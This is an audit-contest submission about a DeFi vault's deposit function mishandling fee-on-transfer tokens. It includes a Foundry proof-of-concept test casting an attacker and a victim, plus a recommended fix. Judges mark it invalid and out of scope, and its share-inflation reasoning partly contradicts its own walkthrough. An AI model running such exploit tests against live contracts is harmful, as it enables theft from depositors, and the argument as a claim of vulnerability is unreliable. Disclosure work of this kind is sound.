Liquidity Management
Gamma
DeFiFoundry
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Missing Post-Transfer Balance Validation Leads to Accounting Errors with Fee-on-Transfer Tokens

sempermutans

Summary

The PerpetualVault contract does not properly handle fee-on-transfer tokens, which deduct a fee on every transfer. The contract incorrectly records the pre-fee amount instead of the actual received amount, leading to incorrect share allocations, accounting discrepancies, and possible insolvency.

Vulnerability Details

The deposit function does not account for potential token transfer fees:

function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
if (depositPaused == true) {
revert Error.Paused();
}
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.DEPOSIT;
collateralToken.safeTransferFrom(msg.sender, address(this), amount);
counter++;
depositInfo[counter] = DepositInfo(amount, 0, msg.sender, 0, block.timestamp, address(0));
totalDepositAmount += amount;
EnumerableSet.add(userDeposits[msg.sender], counter);
// ... rest of function
}

Impact

  1. Accounting Errors: The contract assumes it received the full deposit amount, but in reality, the balance is lower.

  2. Incorrect Share Allocation: Users get more shares than they actually contributed, leading to unfair distributions.

  3. Loss of Funds for Other Users: Over time, withdrawals based on inflated balances drain contract liquidity, leading to insolvency.

  4. Potential Exploit Scenario: A user could deposit, receive extra shares, and withdraw more tokens than they should.

  5. Severity: 🔴 HIGH

Tools Used

Manual code review

Proof of Concept for Fee-on-Transfer Token Vulnerability

Overview:

This proof of concept demonstrates how an attacker can exploit the lack of post-transfer balance validation to receive more shares than they should, leading to unfair distribution and potential insolvency of the protocol.

Actors:

  • Attacker: User who deposits fee-on-transfer tokens to receive inflated share allocation.

  • Victim: Honest user of the protocol who will be unable to withdraw their full funds.

  • Protocol: PerpetualVault contract that incorrectly accounts for fee-on-transfer tokens.

Working Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
​
import "forge-std/Test.sol";
import "../src/PerpetualVault.sol";
import "../src/mock/FeeToken.sol";
import "../src/mock/MockVaultReader.sol";
import "../src/mock/MockGmxProxy.sol";
import "../src/libraries/StructData.sol";
​
contract PerpetualVaultExploitTest is Test {
PerpetualVault vault;
FeeToken feeToken;
FeeToken indexToken;
MockVaultReader vaultReader;
MockGmxProxy gmxProxy;
address market = address(0x123);
address keeper = address(0x456);
address treasury = address(0x789);
address attacker = address(0x1);
address victim = address(0x2);
uint256 minDepositAmount = 100;
uint256 maxDepositAmount = 100000;
uint256 leverage = 10000; // 1x leverage (10000 basis points)
function setUp() public {
// Deploy a fee-on-transfer token with 10% fee
feeToken = new FeeToken("Fee Token", "FEE", 10); // 10% fee on transfers
indexToken = new FeeToken("Index Token", "IDX", 0); // No fee for simplicity
// Deploy mock contracts
vaultReader = new MockVaultReader();
gmxProxy = new MockGmxProxy();
// Set up market in VaultReader
vaultReader.setMarket(market, address(indexToken), address(feeToken));
// Deploy vault
vault = new PerpetualVault();
// Initialize vault with required parameters
vault.initialize(
market,
keeper,
treasury,
address(gmxProxy),
address(vaultReader),
minDepositAmount,
maxDepositAmount,
leverage
);
// Fund accounts
feeToken.mint(attacker, 1000);
feeToken.mint(victim, 1000);
// Set vault's state to closed position for testing deposits directly
vault.setVaultState(
PerpetualVault.FLOW.NONE, // flow
0, // flowData
false, // beenLong
bytes32(0), // curPositionKey
true, // positionIsClosed
false, // _isLock
PerpetualVault.Action(PerpetualVault.NextActionSelector.NO_ACTION, bytes("")) // nextAction
);
}
function testExploit() public {
console.log("======= Fee-on-Transfer Token Exploit Test =======");
// Step 1: Victim deposits 1000 tokens (900 actually received after 10% fee)
vm.startPrank(victim);
feeToken.approve(address(vault), 1000);
vault.deposit(1000);
vm.stopPrank();
// Get victim's deposit ID and info
uint256[] memory victimDeposits = vault.getUserDeposits(victim);
(uint256 victimAmount, uint256 victimShares, , , ,) = vault.depositInfo(victimDeposits[0]);
// Check vault's internal accounting vs actual balance
console.log("Victim deposit recorded amount:", victimAmount);
console.log("Victim received shares:", victimShares);
console.log("Vault total deposit amount:", vault.totalDepositAmount());
console.log("Vault actual balance:", feeToken.balanceOf(address(vault)));
// Verify the accounting discrepancy
assertEq(vault.totalDepositAmount(), 1000, "Vault should record 1000 tokens");
assertEq(feeToken.balanceOf(address(vault)), 900, "Vault should actually have 900 tokens");
// Step 2: Attacker deposits same amount
vm.startPrank(attacker);
feeToken.approve(address(vault), 1000);
vault.deposit(1000);
vm.stopPrank();
// Get attacker's deposit ID and info
uint256[] memory attackerDeposits = vault.getUserDeposits(attacker);
(uint256 attackerAmount, uint256 attackerShares, , , ,) = vault.depositInfo(attackerDeposits[0]);
// Check total accounting vs actual balance
console.log("Attacker deposit recorded amount:", attackerAmount);
console.log("Attacker received shares:", attackerShares);
console.log("Vault total deposit amount:", vault.totalDepositAmount());
console.log("Vault actual balance:", feeToken.balanceOf(address(vault)));
// Verify the accounting discrepancy
assertEq(vault.totalDepositAmount(), 2000, "Vault should record 2000 tokens");
assertEq(feeToken.balanceOf(address(vault)), 1800, "Vault should actually have 1800 tokens");
// Analyze share calculation
console.log("\nShare analysis:");
console.log("Victim contributed 900 tokens (after fee) and received", victimShares, "shares");
console.log("Attacker contributed 900 tokens (after fee) and received", attackerShares, "shares");
// In a vulnerable contract, the second depositor gets more shares per token
// This is because the contract's share calculation uses recorded amounts rather than actual deposits
// Here we verify that the attacker gets more shares per actual token deposited
uint256 victimSharesPerToken = victimShares * 1e18 / 900;
uint256 attackerSharesPerToken = attackerShares * 1e18 / 900;
console.log("Victim shares per token:", victimSharesPerToken / 1e18);
console.log("Attacker shares per token:", attackerSharesPerToken / 1e18);
console.log("Difference: Attacker gets", (attackerSharesPerToken * 100 / victimSharesPerToken) - 100, "% more shares per token");
// Assert that attacker gets more shares per actual token than the victim
assertGt(attackerSharesPerToken, victimSharesPerToken, "Attacker should get more shares per actual token");
// Step 3: Fast forward past lock time
vm.warp(block.timestamp + 8 days);
// Record balances before withdrawal
uint256 victimBalanceBefore = feeToken.balanceOf(victim);
uint256 attackerBalanceBefore = feeToken.balanceOf(attacker);
// Step 4: Victim tries to withdraw their full share
vm.prank(victim);
vault.withdraw(victim, victimDeposits[0]);
// Step 5: Attacker withdraws their full share
vm.prank(attacker);
vault.withdraw(attacker, attackerDeposits[0]);
// Calculate actual received amounts
uint256 victimReceived = feeToken.balanceOf(victim) - victimBalanceBefore;
uint256 attackerReceived = feeToken.balanceOf(attacker) - attackerBalanceBefore;
console.log("\nWithdrawal results:");
console.log("Victim received:", victimReceived);
console.log("Attacker received:", attackerReceived);
// The total withdrawals should equal the vault's balance before withdrawals
console.log("Sum of withdrawals:", victimReceived + attackerReceived);
console.log("Original deposits (after fees):", 1800);
// Calculate the expected fair distribution (50% each since both deposited 900 tokens)
uint256 fairShare = 1800 / 2;
console.log("\nFairness analysis:");
console.log("Fair share each (50% of 1800):", fairShare);
console.log("Victim shortfall:", fairShare - victimReceived);
console.log("Attacker excess:", attackerReceived - fairShare);
// Victim should receive less than their fair share
assertLt(victimReceived, fairShare, "Victim should receive less than their fair share");
// Attacker should receive more than their fair share
assertGt(attackerReceived, fairShare, "Attacker should receive more than their fair share");
}
}

Explanation:

The vulnerability in PerpetualVault stems from how it calculates shares during the deposit process, particularly in the _mint function:

function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
uint256 _shares;
if (totalShares == 0) {
_shares = depositInfo[depositId].amount * 1e8;
} else {
uint256 totalAmountBefore;
if (positionIsClosed == false && _isLongOneLeverage(beenLong)) {
totalAmountBefore = IERC20(indexToken).balanceOf(address(this)) - amount;
} else {
totalAmountBefore = _totalAmount(prices) - amount;
}
if (totalAmountBefore == 0) totalAmountBefore = 1;
_shares = amount * totalShares / totalAmountBefore;
}
​
depositInfo[depositId].shares = _shares;
totalShares = totalShares + _shares;
// ... rest of function
}

Here's what happens in the exploit:

  1. First Deposit (Victim):

    • Victim deposits 1000 tokens, but only 900 actually arrive due to the 10% fee

    • Contract records deposit as 1000 tokens

    • Since this is the first deposit, victim receives 1000 * 1e8 shares (based on recorded amount, not actual)

  2. Second Deposit (Attacker):

    • Attacker deposits 1000 tokens, but only 900 actually arrive due to the fee

    • Contract records deposit as 1000 tokens

    • Share calculation now uses totalAmountBefore = 1000 (first deposit's recorded amount)

    • Attacker receives shares calculated as: 1000 * totalShares / 1000

    • Despite both users contributing the same actual amount (900 tokens), the attacker receives an equal share percentage of the pool based on inflated numbers

  3. Share Distribution Analysis:

    • Both depositors contributed equal actual amounts (900 tokens)

    • In a fair system, both would receive equal shares

    • Due to the vulnerability, the share calculation doesn't reflect actual contributions

    • The test includes a detailed analysis showing exactly how many more shares per token the attacker receives compared to the victim

  4. Withdrawal Impact:

    • When both users withdraw, they receive tokens proportional to their shares

    • This results in the victim receiving less than their fair share (900 tokens)

    • The attacker receives more than their fair share

    • A detailed fairness analysis quantifies exactly how much the victim loses and the attacker gains

  5. Protocol Insolvency Risk:

    • As more users deposit with fee-on-transfer tokens, the discrepancy between recorded and actual balances grows

    • Later depositors gain advantage over earlier ones

    • The contract becomes increasingly insolvent as recorded deposits exceed actual token holdings

    • Eventually, later withdrawals may fail entirely as the contract cannot fulfill all claims

This demonstrates that the accounting error in PerpetualVault is not just theoretical but leads to a concrete exploit that results in financial loss for users and potential insolvency of the protocol.

Recommendations

Modify the deposit function to record the actual received amount instead of the input amount, and include additional checks to handle edge cases:

function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
if (depositPaused == true) {
revert Error.Paused();
}
// Initial validation against expected amount
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.DEPOSIT;
// Get balance before transfer
uint256 balanceBefore = collateralToken.balanceOf(address(this));
// Execute the transfer
collateralToken.safeTransferFrom(msg.sender, address(this), amount);
// Get balance after transfer and calculate actual deposited amount
uint256 balanceAfter = collateralToken.balanceOf(address(this));
uint256 actualAmount = balanceAfter - balanceBefore;
// Validate the actual received amount
if (actualAmount == 0) {
revert Error.ZeroTransferAmount();
}
// Re-check min deposit with actual amount
if (actualAmount < minDepositAmount) {
revert Error.InsufficientAmount();
}
// Re-check max deposit cap with actual amount
if (totalDepositAmount + actualAmount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
counter++;
depositInfo[counter] = DepositInfo(actualAmount, 0, msg.sender, 0, block.timestamp, address(0));
totalDepositAmount += actualAmount;
EnumerableSet.add(userDeposits[msg.sender], counter);
// ... rest of function
}

This fix addresses the following edge cases:

  1. Handles tokens with 100% fees by checking if actualAmount is zero

  2. Re-validates minimum deposit amount using the actual received tokens

  3. Re-validates maximum deposit cap using the actual received tokens

By implementing these changes, the contract will correctly account for any fees deducted during token transfers, ensuring accurate share allocation and protecting the protocol from potential exploitation.

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!